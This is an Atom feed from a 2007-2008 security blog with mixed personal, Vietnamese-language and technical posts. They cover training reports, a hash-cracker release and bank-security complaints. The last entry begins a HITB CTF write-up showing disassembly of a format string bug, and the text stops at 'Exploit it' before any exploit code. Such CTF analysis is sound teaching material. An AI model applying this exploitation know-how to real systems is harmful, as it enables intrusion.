<?xml version="1.0" ?>
<?xml-stylesheet href="atom.css" type="text/css"?>
<!-- Perhaps "context" should be replaced with "view"? [Reinout]-->
<atom:feed xmlns="http://www.w3.org/2005/Atom"
           xmlns:atom="http://www.w3.org/2005/Atom"
           xmlns:dc="http://purl.org/dc/elements/1.1/"
           xml:base="http://www.vnsecurity.net"
           xml:lang="en">

  <div xmlns="http://www.w3.org/1999/xhtml">
    <a href="http://www.atomenabled.org/feedvalidator/check.cgi?url=http://www.vnsecurity.net/Members/lamer">
      <img title="Validate my Atom feed" width="88"
           height="31"
           src="http://www.atomenabled.org/feedvalidator/images/valid-atom.png"
           alt="[Valid Atom]" border="0px"/>
    </a>
    <p>
      <span>
        This is an Atom formatted XML site feed. It is intended to be viewed in
        a Newsreader or syndicated to another site. Please visit 
      </span>
      <a href="http://www.atomenabled.org/">Atom Enabled</a>
      <span>
        for more info.
      </span>
    </p>
  </div>

  <atom:title type="html">lamer</atom:title>
  <atom:subtitle></atom:subtitle>

  <atom:updated>2008-10-10T05:55:55+00:00</atom:updated>

  <atom:link href="http://www.vnsecurity.net/Members/lamer"
             rel="alternate" type="text/html"/>

  

  <atom:id>561c6754c3d6cd580fa8e721952e562d</atom:id>

  <atom:generator uri="http://plone.org/products/fatsyndication/" version="0.1">fatsyndication</atom:generator>

  

    <atom:entry>

      <atom:title>Reminiscence of a half year past</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2008/07/02/reminiscence-of-a-half-year-past">
        http://plone.org/
      </atom:link>

      <atom:id>691f3debe8b6d9dda72e4642d7aabd59</atom:id>
      <atom:summary>A personal note on the half year past. Nothing related to security, so move along.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;So, it's been half a year. It's been half a year in turbulence.&lt;/p&gt;
&lt;p&gt;On Jan 1st, I was so eager, excited, and hopeful on my flight home. I had a plan, a simple plan, and it was rolling well. You see, what could be easier than finding a job, working for a few years, and then taking a higher degree? I thought this'd gotta be it, that I found my future.&lt;/p&gt;
&lt;p&gt;Then it all broke apart. It's funny though, cuz I was afraid of exactly this from the beginning. I could tell it was too good to be true, that everything was like arranged, granted, not earned, and so something got to be missing. I mean, come on, you don't expect to see a perfect world, do you? The problem was it happened too late! I was so into it. I bet on it with everything I had.&lt;/p&gt;
&lt;p&gt;I lose my bet. My plan went to trash. I declined a few job offers to open my own consulting firm. I am still not sure why I did that. I might have thought the market demand was high, or it might be cool to do it, or it was just a rebelious action to satisfy my ego. Regardless, I have a firm now. And it is the reason I write this piece.&lt;/p&gt;
&lt;p&gt;The firm is doing well according to plan. Before you ask, no, this is not the plan I talked before. This has its share of late night's oil burning, sweats and a few grey hairs. It has ups and downs, cheers and cries. And it is not perfect. It is so much different from going to work at 09:00, coming back at 18:00, having dinner till 20:00, spending a few hours doing god-knows-what in front of the monitor, and finally lying on the floor till tomorrow. It is no longer a pleasant life for me at all.&lt;/p&gt;
&lt;p&gt;Thinking about the firm reminds me of all the good times in the island country, where I didn't have to think about anything. I miss the nights we hung out. I miss the trees along the road. I miss the breezy cool wind on the way home. I miss the flat. I miss late night movies/series. I miss the nights I slept on the floor. I miss the morning green bean dessert and bean curd. Life was a pleasure ride in the park. I earned a comfortable salary so I didn't have to think twice before spending. I lived in a spacious and windy flat. I owned a motorbike. I had everything I needed. I was contended.&lt;/p&gt;
&lt;p&gt;Now, my head is full of questions. What is the next step, how to move forward, who is the next customer, how to approach them, who to partner with, where to find money to do those stuffs... Infrastructure, marketing, human resource, finance, law, etc. all come pouring down on me. These questions don't seem to end at all. Instead, they become more and more challenging, they push me closer and closer to the wall.&lt;/p&gt;
&lt;p&gt;Sure I have doubts. Is the market ripe for us? Isn't it better to do business elsewhere? Was coming back just plain wrong? These questions keep whirling wildly. My thoughts are all interwound, messed up.&lt;/p&gt;
&lt;p&gt;Fortunately, everytime I think about them, I always come to the same answer: that I can't change what happened, I can only fix them. So that's exactly what I'm doing. I founded a firm, so I've gotta take it high. I failed a plan, so I've gotta work another one.&lt;/p&gt;
&lt;p&gt;Though I've lost the eagerness and excitement of the flight that day, I still have hope. When the turbulence is over, we'll have a safe landing on the long runway.&lt;/p&gt;

          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2008-07-02T17:51:54+00:00</atom:published>

      <atom:updated>2008-08-24T14:19:01+00:00</atom:updated>

      
        <atom:category term="Misc"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Sử dụng bộ công cụ SysInternals "live"</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2008/05/30/su-dung-bo-cong-cu-sysinternals-live">
        http://plone.org/
      </atom:link>

      <atom:id>a58b54f864b3702a5a507aa0b6e0aba5</atom:id>
      <atom:summary>Ngay bây giờ bạn đã có thể sử dụng bộ công cụ SysInternals trực tuyến mà không phải cài đặt hoặc giải nén bất kỳ tập tin nào.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Những nhà quản trị đã quá quen thuộc với bộ công cụ của SysInternals như Process Explorer, TcpView, Rootkit Revealer. Các công cụ này đã rất dễ được tải về và sử dụng, giờ đây lại càng dễ hơn nữa. Ví dụ như bạn có thể chạy ngay công cụ Process Explorer mới nhất bằng cách gõ dòng lệnh:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;\\live.sysinternals.com\procexp.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Quá đơn giản, phải không? Danh sách tất cả các công cụ có thể được xem tại &lt;a href="http://live.sysinternals.com"&gt;http://live.sysinternals.com&lt;/a&gt;.&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2008-05-30T01:34:37+00:00</atom:published>

      <atom:updated>2008-05-30T02:45:11+00:00</atom:updated>

      
        <atom:category term="Utilities"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Salami attack at Asia Commercial Bank</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2008/05/15/salami-attack-at-acb">
        http://plone.org/
      </atom:link>

      <atom:id>bd92b2daa12a8845e015b91e9e7fb511</atom:id>
      <atom:summary>I went to the bank today to make a small exchange. But the money I got is less than the expected amount.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Sáng nay khoảng 10:00 mình ra ngân hàng ACB ở đường Xuân Hồng, ngay phía sau khu triển lãm Tân Bình để đổi 100 đồng Mỹ ra tiền Việt.&lt;/p&gt;

&lt;p&gt;Theo tỉ giá của ngày hôm nay thì mình sẽ nhận được 1,616,300. Trong giấy chi cũng ghi rõ con số này.&lt;/p&gt;

&lt;p&gt;Thế nhưng nhân viên ở quầy chỉ đưa mình 1,616,000. Tức là thiếu 300 đồng.&lt;/p&gt;

&lt;p&gt;Mình hỏi lại nhân viên đó rằng tại sao lại làm tròn xuống thế này và nhận được câu trả lời là cho dù mình có 499 đồng thì cũng vẫn làm tròn xuống như vậy.&lt;/p&gt;

&lt;p&gt;Trước hết, ở những ngân hàng khác mình thường lui tới thì không bao giờ có chuyện làm tròn số như thế này. 1 cent là 1 cent. 100 đồng là 100 đồng. Họ sẽ đưa đủ. Mặc dù mình chưa thấy trường hợp nào họ đưa "dư" :-D nhưng thiếu thì chắc chắn là không.&lt;/p&gt;

&lt;p&gt;Thứ hai, không biết là chính sách &lt;strong&gt;làm tròn xuống gây thiệt hại cho khách hàng&lt;/strong&gt; như thế này là của chính nhân viên quầy tự ý vì mục đích riêng, hay là của toàn ngân hàng.&lt;/p&gt;

&lt;p&gt;Đây rõ ràng là một ví dụ điển hình và thực tế về "bòn rút" (salami attack) trong lĩnh vực an toàn thông tin. Salami attack là những sự việc nhỏ nhặt nhưng xảy ra trên một quy mô lớn ví dụ như hàng trăm ngàn tài khoản trong ngân hàng bị bòn rút 100 đồng thì kết quả sẽ là một thiệt hại cỡ vài trăm triệu đồng. Đối với từng chủ tài khoản, sự hao hụt 100 đồng này không dễ phát hiện ra cho nên salami attack thường ít khi bị phát hiện.&lt;/p&gt;

&lt;p&gt;Dù sao đi nữa thì ACB cũng đã mất đi một khách hàng (cho dù là nhỏ) cho tới khi mình nghe được tin tức khác. Bởi vì đã không làm tròn lên thì chớ có chuyện làm tròn xuống. Câu nói khách hàng là thượng đế ở đâu rồi?&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2008-05-15T12:27:54+00:00</atom:published>

      <atom:updated>2008-10-10T05:55:55+00:00</atom:updated>

      
        <atom:category term="Vulnerabilities"/>
      
      
        <atom:category term="Policy Enforcement"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Fun code snippet</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2008/05/11/fun-code-1">
        http://plone.org/
      </atom:link>

      <atom:id>8e360833edb5c8909a9b1fdfa6496831</atom:id>
      

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;This small snippet is copied from a much popular application.&lt;/p&gt;&lt;p&gt;&lt;code&gt;.text:1000EBE0 push ecx ; some_string&lt;br&gt;.text:1000EBE1 push '%'&lt;br&gt;.text:1000EBE3 push '%'&lt;br&gt;.text:1000EBE5 push offset aCsystemdriveCS ; "%cSystemDrive%c%s"&lt;br&gt;.text:1000EBEA push edx ; buffer&lt;br&gt;.text:1000EBEB call ds:swprintf&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Translated to C:&lt;/p&gt;&lt;p&gt;&lt;code&gt;swprintf(buffer, "%cSystemDrive%c%s", '%', '%', some_string);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Of course you'd be scratching your head to explain why the writer wrote it this way, instead of simply &lt;code&gt;swprintf(buffer, "%%SystemDrive%%%s", some_string);&lt;/code&gt;. To show off great C-kungfu? Or the lack thereof? Anyway, I just thought it was funny enough to post.&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2008-05-11T11:49:19+00:00</atom:published>

      <atom:updated>2008-05-11T11:49:19+00:00</atom:updated>

      
        <atom:category term="Reverse Engineering"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Dịch vụ chứng thực hay dịch vụ làm phiền?</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2008/04/01/notary-service">
        http://plone.org/
      </atom:link>

      <atom:id>ef8b0e86cc29d1cc44a324c8bc266e6b</atom:id>
      <atom:summary>Bất kỳ việc gì sử dụng giấy tờ sao chép đều cần đến con dấu chứng thực ở Ủy ban phường. Nhưng có thật sự là cần thiết hay không?</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Mở công ty, mua bán nhà, xin cho con đi học, làm đơn xin học bổng, v.v... đều cần đến bản sao CMND. Và thông thường các bản sao này nhất định phải có con dấu chứng thực của Ủy ban nhân dân phường.&lt;/p&gt;

&lt;p&gt;Nhưng liệu việc chứng thực có tác dụng hay không, hay chỉ là hình thức dư thừa (red tape) mà tất cả các quốc gia khác trên thế giới đều đang muốn cắt giảm?&lt;/p&gt;

&lt;p&gt;Tôi đem 5 bản sao giấy CMND ra UBND phường xin chứng thực sao y bản chính. Bản sao của tôi là hai mặt CMND trên cùng một mặt giấy khổ A5, cách nhau một khoảng trống vừa đủ để một con dấu chứng thực đè lên cả hai mặt CMND. Nhân viên UBND trả lời rằng sao chép như vậy không đúng quy cách và yêu cầu sử dụng dịch vụ ở ngay tại UBND phường. Họ sao chép 2 mặt CMND trên 2 mặt giấy của cùng một tờ giấy nhỏ. Khi chứng thực, nhân viên UBND phường không hề nhìn tới mặt sau của CMND (nơi ghi rõ dấu hiệu nhận dạng và ngày cấp CMND) cũng như chỉ đóng dấu chứng thực vào một mặt của bản sao!&lt;/p&gt;

&lt;p&gt;Câu hỏi được đặt ra là:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Nếu không kiểm tra giữa bản chính và bản sao, ý nghĩa của việc chứng thực là gì?&lt;/li&gt;
&lt;li&gt;Con dấu chứng thực chỉ đóng ở một mặt, mặt còn lại liệu có còn giá trị chứng thực?&lt;/li&gt;
&lt;li&gt;Tại sao một bản sao mắc phải những lỗi nghiêm trọng ảnh hướng đến tính chính xác của thông tin được cho là đúng quy cách?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Một câu hỏi quan trọng, và tổng quát hơn là tại sao việc chứng thực lại cần thiết? Dù đã có một bản sao chứng thực, mọi người vẫn bắt buộc phải đem bản chính theo để các cơ quan khác kiểm tra lại. Bỏ qua việc họ có kiểm tra lại hay không, vấn đề là với bản chính đem theo đó, các cơ quan khác có thể dễ dàng tạo ra các bản sao ngay lập tức. Việc này vừa loại bỏ đi một phiền hà không đáng có, vừa đảm bảo tính trung thực của thông tin.&lt;/p&gt;

&lt;p&gt;Xin lưu ý rằng chúng ta chưa nói đến tính chính xác của thông tin được chứng thực trong bài này.&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2008-04-01T04:41:22+00:00</atom:published>

      <atom:updated>2008-04-01T04:41:22+00:00</atom:updated>

      
        <atom:category term="Vulnerabilities"/>
      
      
        <atom:category term="Physical Security"/>
      
      
        <atom:category term="Auditing"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Tội phạm đánh cắp tiền từ ngân hàng Việt Nam</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2008/04/01/telegraphic-transfer-security">
        http://plone.org/
      </atom:link>

      <atom:id>d9fa4356f9affd46727a415975fbdff4</atom:id>
      <atom:summary>Vài bọn tội phạm từ các quốc gia khác như Nigeria, Congo đã giả mạo chữ ký để đánh cắp tiền từ các ngân hàng Việt Nam.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Theo báo Sài Gòn Giải Phóng ngày 31 tháng 03 năm 2008, lực lượng công an đã bắt được một vài nhóm tội phạm từ các quốc gia khác giả mạo chữ ký và thẻ tín dụng để mua hàng và đánh cắp tiền từ các ngân hàng Việt Nam.&lt;/p&gt;

&lt;p&gt;Theo tin đã đưa thì một nhóm từ Nigeria bị bắt trong khi đang dùng thẻ tín dụng giả để thanh toán tại siêu thị. Rất may là nhân viên siêu thị đã nghi ngờ tên trên thẻ không phải tên của gã nên đã tri hô bảo vệ siêu thị tóm lấy tên tội phạm này.&lt;/p&gt;

&lt;p&gt;Tin thứ hai, và là điểm chính của bài này, là một vài nhóm tội phạm khác đã tinh vi hơn. Chúng giả chữ ký thực hiện lệnh chuyển tiền từ một tài khoản ở nước ngoài vào một ngân hàng trong nước vào ngày x. Sau đó, chúng ra ngân hàng rút hết tiền vào ngày x + y. Đến khi ngân hàng nước ngoài phát hiện ra chữ ký giả và thực hiện lệnh hủy việc chuyển tiền thì lúc này đã vào ngày x + y + z.&lt;/p&gt;

&lt;p&gt;Có hai câu hỏi đặt ra ở đây:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Tại sao không có thời gian hãm tài để cả hai phía xác nhận lệnh chuyển tiền là thật?&lt;/li&gt;
&lt;li&gt;Phía nào sẽ chịu trách nhiệm cho sự sai sót này?&lt;/li&gt;
&lt;ol&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2008-04-01T03:55:54+00:00</atom:published>

      <atom:updated>2008-04-01T04:41:22+00:00</atom:updated>

      
        <atom:category term="Vulnerabilities"/>
      
      
        <atom:category term="Authentication"/>
      
      
        <atom:category term="Policy Enforcement"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Training at Malaysia Multimedia University, Melaka Campus</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2008/01/11/training-at-malaysia-multimedia-university">
        http://plone.org/
      </atom:link>

      <atom:id>0ec3f53980028ac24db079e42ce04fa5</atom:id>
      <atom:summary>Experiencing the first overseas training engagement</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;Jaan Yeh, a final year student at &lt;a href="http://www.mmu.edu.my"&gt;Malaysia Multimedia University (MMU)&lt;/a&gt; invited to me to its Melaka campus to conduct another training on software exploitation. I was ready and eager to take on this first overseas training engagement. But little did I know there was a big surprise awaiting.&lt;/p&gt;

&lt;p&gt;Arriving at the Kuala Lumpur International Airport a day before the training started, I was welcomed by three fellas who were going to be in the workshop. One of them is from the nearby Cyberjaya campus, the other two are flat-mates at the Melaka campus. It was around 2:30pm and these fellas had not had any food yet. So shortly after a quick Burger King meal, we headed to our training site, a two-hour drive away.&lt;/p&gt;

&lt;p&gt;Melaka is a rustic old Portugal port settlement with small houses, narrow streets, and great seafood! On the first night there, the chaps took me out to a "satay" house. But this satay is different from the satay in Singapore where they grill chicken and paste on some satay. This satay is a steamboat, or, at least, a steam-pot. We dunked all the raw meat into a boiling pot and had a leisure talk while waiting for them to be edible. The best thing about this place is they sell big prawn, 20cm long prawn, for 60 cents (RMY 0.60). That's a steal! On my last night there, we again had seafood, this time by the sea. That night's meal could have cost about RMY 300 if we had had it in Singapore. Here, it was only RMY 120. Cheap!&lt;/p&gt;

&lt;p&gt;If food is the second best thing in this trip, the best is gonna be the training itself. And as I said, there was a big surprise for me. I thought this training was only for 12 students majoring in IT Security. It turned out there were only 9 students (Fabian, Nan, Jeremy, Yeh, Aidid, Wee, Zeon, Tan, Najib), and only one of them is from IT Security. The others are from Data Communication, Knowledge Management, etc. A multi-disciplined group. Not only that, two of the lecturers (Muslim, and Hadi) from Faculty of Engineering and Technology (FET) and one professional (Victor) from F-Secure malware analysis lab (in KL) also joined in. It was a big turn out. The biggest surprise though, was that Najib was in wheelchair! Man, I couldn't imagine the training would be so well received. Thank you for your passion and presence, Najib!&lt;/p&gt;

&lt;p&gt;Throughout the whole workshop, everyone was able to conduct the analysis, and exploits themselves. One of them (Tan) even solved a quiz within only 20 minutes (two-thirds the allowed time). Fabian, Yeh, Zeon got stuck with it for a few minutes but managed to pull it off successfully too. I shouldn't praise Hadi, Muslim and Victor here because that was kind of expected of them but they made me feel like I was teaching the oh-so-obvious stuffs. I was also glad that Najib got the gist of a successful format string exploitation.&lt;/p&gt;

&lt;p&gt;The training lasted a little bit more than 2 days because these participants demanded more deep  technical explanation than an average Joe and I also allowed them to play around with their creativity a little bit more. In general, I say the training was another success. &lt;/p&gt;

&lt;p&gt;Not only was the trip a gastronomy treat, it was also a personal fulfillment. I managed to buy a book that I could not find in many bookstores in Singapore nor Sydney. I also got some presents home. The last day is the best polishing touch to this whole wonderful trip.&lt;/p&gt;

&lt;p&gt;Thank you Jaan Yeh for the invitation, and your hospitality. Thank you Muslim for providing necessary facility. And thank you everyone for your active participation! Keep the interest level high, will ya?&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2008-01-11T08:11:27+00:00</atom:published>

      <atom:updated>2008-01-11T08:11:27+00:00</atom:updated>

      
        <atom:category term="training"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>My student got to work for DSO</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/11/23/student-got-internship-with-dso">
        http://plone.org/
      </atom:link>

      <atom:id>1efd70cb96d031ef0938a8a4cfe142f6</atom:id>
      <atom:summary>A student from my software exploitation workshop was offered an internship with DSO</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;He is a brilliant guy. Under his usual silence is the loud noise of his neuron machine cranking up and down. I am talking about Jeremy, a student in my &lt;a href="http://www.vnsecurity.net/Members/lamer/archive/2007/10/23/software-exploitation-training-successfully-completed/"&gt;software exploitation training in October&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Few days ago, he messaged me that he had been offered an internship with DSO (used to stand for Defense Science Organization), Singapore. This organization, among others, deals with national security and only accepts top Singapore citizens to join its rank. Being able to join DSO as a Software Pentester (I assume it deals with analysis and exploitation here) proved Jeremy a technically smart guy.&lt;/p&gt;

&lt;p&gt;Congratulation to you, Jeremy!&lt;/p&gt;

&lt;p&gt;And for me, I am so glad my training paid off well.&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-11-23T01:35:17+00:00</atom:published>

      <atom:updated>2007-11-23T01:35:17+00:00</atom:updated>

      
        <atom:category term="training"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Software Exploitation Training - Successfully Completed</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/10/23/software-exploitation-training-successfully-completed">
        http://plone.org/
      </atom:link>

      <atom:id>78e9b8fdc9fa03cbb5ed781604d6f8d4</atom:id>
      <atom:summary>A free training on software exploitation conducted by yours truly for Singapore Polytechnic students concluded last week and it was a total success.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;During the HITB 2007 Malaysia I met a young smart group of students from Singapore Polytechnic. They took part in the Capture the Flag competition and managed to score better than some professionals (need I make it clear?) in total contrast to their name: t3nth (they ranked eighth, by the way).&lt;/p&gt;

&lt;p&gt;I thought that was impressive enough for these young chaps and maybe if they had proper training, they could turn as capable as any other qualified security engineer. And so I offered them a free workshop on software exploitation to serve as a primer. It was received enthusiastically.&lt;/p&gt;

&lt;p&gt;An intensive four (or five, I dont quite remember)-session training was given on every week end through out last month. It covered all basic concepts, techniques, and some few advanced skills. I don't know but it seemed like the boys grasped them pretty quickly. Actually, they surprised me! I didn't expect that Paul could understand the stack diagram I drew on the white board in an instance, Louis would get the return-to-libc technique immediately when I mentioned it, Jeremy were able to analyze binary files in a few minutes, and Choon Rui mastered format string with no difficulty at all.&lt;/p&gt;

&lt;p&gt;Through out the training, challenges from the CtF (no, not the binary, but with reconstructed source by yours truly) were used but these boys weren't informed at all. They solved them, fluidly. What others weren't able to do in Dubai 2007, and Malaysia 2007, they did it in only one or a few hours. Brilliant, ain't they?&lt;/p&gt;

&lt;p&gt;I hope it was a conducive workshop to them and that they loved it as much as I loved teaching them. It's always a pleasure to work with smart guys. I believe these chaps will score much better in subsequent challenges. And if you are looking for interns, get them!&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-10-23T11:10:46+00:00</atom:published>

      <atom:updated>2007-10-23T11:10:46+00:00</atom:updated>

      
        <atom:category term="training"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>hashcrack v1.0</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/10/09/hashcrack-1.0">
        http://plone.org/
      </atom:link>

      <atom:id>747270f185f24ce061ff4a717a8059c7</atom:id>
      <atom:summary>hashcrack is a fast hash brute forcer based on OpenSSL. Its main feature is additive brute forcing. Version 1.0 is released under the BSD license.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;p&gt;hashcrack is a fast (as fast as OpenSSL allows) hash cracker. It features an additive hash checking to speed up the process. For example, to check for the hashes of &lt;code&gt;abc&lt;/code&gt; and &lt;code&gt;abd&lt;/code&gt;, hashcrack only computes the hash of &lt;code&gt;ab&lt;/code&gt;, then computes one round each for &lt;code&gt;c&lt;/code&gt; and &lt;code&gt;d&lt;/code&gt; totaling 4 rounds (two for &lt;code&gt;ab&lt;/code&gt;, one for &lt;code&gt;c&lt;/code&gt; and one for &lt;code&gt;d&lt;/code&gt;). This eliminates a good number of rounds if we calculate hashes from the beginning (6 in this case). The longer the key, the more the saving.&lt;/p&gt;

&lt;p&gt;A draw back to this feature is it does not work with non-additive hash algorithms. Luckily, popular algorithms, such as SHA-1, RIPEMD160, MD5, are additive.&lt;/p&gt;

&lt;p&gt;Compared to vshark (another hash cracker by &lt;a href="http://www.vnsecurity.net/Members/rd"&gt;rd&lt;/a&gt;), hashcrack is so much faster. An unscientific benchmark to RIPEMD160-scan the whole 6-character &lt;code&gt;a-zA-Z0-9&lt;/code&gt; space ended in about 6 minutes with hashcrack, and more than 2 hours with vshark. To be fair to vshark, there was another version of hashcrack written in pure Python. It was 6 times slower than vshark.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.vnsecurity.net/Members/lamer/Files/hashcrack-1.0.tgz"&gt;Download hashcrack&lt;/a&gt;&lt;/p&gt;
          ]]>
      </atom:content>

      <atom:author>
        <atom:name></atom:name>
      </atom:author>

      <atom:published>2007-10-09T10:15:53+00:00</atom:published>

      <atom:updated>2007-10-09T10:15:53+00:00</atom:updated>

      
        <atom:category term="Utilities"/>
      

    </atom:entry>

  
  

    <atom:entry>

      <atom:title>Exploiting HITB 2007 Kuala Lumpur CTF Daemon 07</atom:title>

      <atom:link rel="alternate" type="text/html"
                 href="http://www.vnsecurity.net/Members/lamer/archive/2007/09/16/hitb07kl-ctf-daemon07">
        http://plone.org/
      </atom:link>

      <atom:id>cfbd3fec8ac682da18cfae004c9a355a</atom:id>
      <atom:summary>Like daemon05, daemon07 is an easy target. It suffers a format string bug. Exploiting it by overwriting .dtors with an easter-egg.</atom:summary>

      <!-- This body below should really be xhtml instead of
      semi-encoded possibly unescaped strange stuff -->
      <atom:content type="html"
                    xml:base="http://www.vnsecurity.net"
                    xml:lang="en-US" xml:space="preserve">
          <![CDATA[
          &lt;h2&gt;Analyzing main&lt;/h2&gt;

&lt;p&gt;There really is nothing to analyze here. It's plain to see that the last &lt;code&gt;printf&lt;/code&gt; was called without any format string.&lt;/p&gt;

&lt;pre&gt;
.text:08048A8E main            proc near               ; DATA XREF: start+17&amp;uarr;o
.text:08048A8E
.text:08048A8E var_118         = dword ptr -118h
.text:08048A8E var_114         = dword ptr -114h
.text:08048A8E var_110         = dword ptr -110h
.text:08048A8E var_108         = dword ptr -108h
.text:08048A8E
.text:08048A8E                 push    ebp
.text:08048A8F                 mov     ebp, esp
.text:08048A91                 sub     esp, 118h       ; char *
.text:08048A97                 and     esp, 0FFFFFFF0h
.text:08048A9A                 mov     eax, 0
.text:08048A9F                 add     eax, 0Fh
.text:08048AA2                 add     eax, 0Fh
.text:08048AA5                 shr     eax, 4
.text:08048AA8                 shl     eax, 4
.text:08048AAB                 sub     esp, eax
.text:08048AAD                 mov     [esp+118h+var_118], offset aCodedByXwings_ ; "Coded By xWinGs. a code just to make yo"...
.text:08048AB4                 call    _printf
.text:08048AB9                 mov     [esp+118h+var_118], offset aSecretCode ; "Secret Code: "
.text:08048AC0                 call    _printf
.text:08048AC5                 mov     eax, ds:stdout
.text:08048ACA                 mov     [esp+118h+var_118], eax
.text:08048ACD                 call    _fflush
.text:08048AD2                 mov     [esp+118h+var_110], 100h
.text:08048ADA                 lea     eax, [ebp+var_108]
.text:08048AE0                 mov     [esp+118h+var_114], eax
.text:08048AE4                 mov     [esp+118h+var_118], 0
.text:08048AEB                 call    _read
.text:08048AF0                 mov     ds:dword_8052998, eax
.text:08048AF5                 mov     [esp+118h+var_110], offset aEtcFlagsDaemon ; "/etc/flags/daemon07.txt"
.text:08048AFD                 mov     eax, ds:dword_8052998
.text:08048B02                 mov     [esp+118h+var_114], eax
.text:08048B06                 lea     eax, [ebp+var_108]
.text:08048B0C                 mov     [esp+118h+var_118], eax
.text:08048B0F                 call    sub_80489C4
.text:08048B14                 mov     [esp+118h+var_118], offset aWrongCode_Debu ; "Wrong Code.\nDebug Input : "
.text:08048B1B                 call    _printf
.text:08048B20                 lea     eax, [ebp+var_108]
.text:08048B26                 mov     [esp+118h+var_118], eax
.text:08048B29                 call    &lt;strong&gt;_printf&lt;/strong&gt;
.text:08048B2E                 mov     eax, 0
.text:08048B33                 leave
.text:08048B34                 retn
.text:08048B34 main            endp
&lt;/pre&gt;

&lt;h2&gt;Exploit it&lt;/h2&gt;

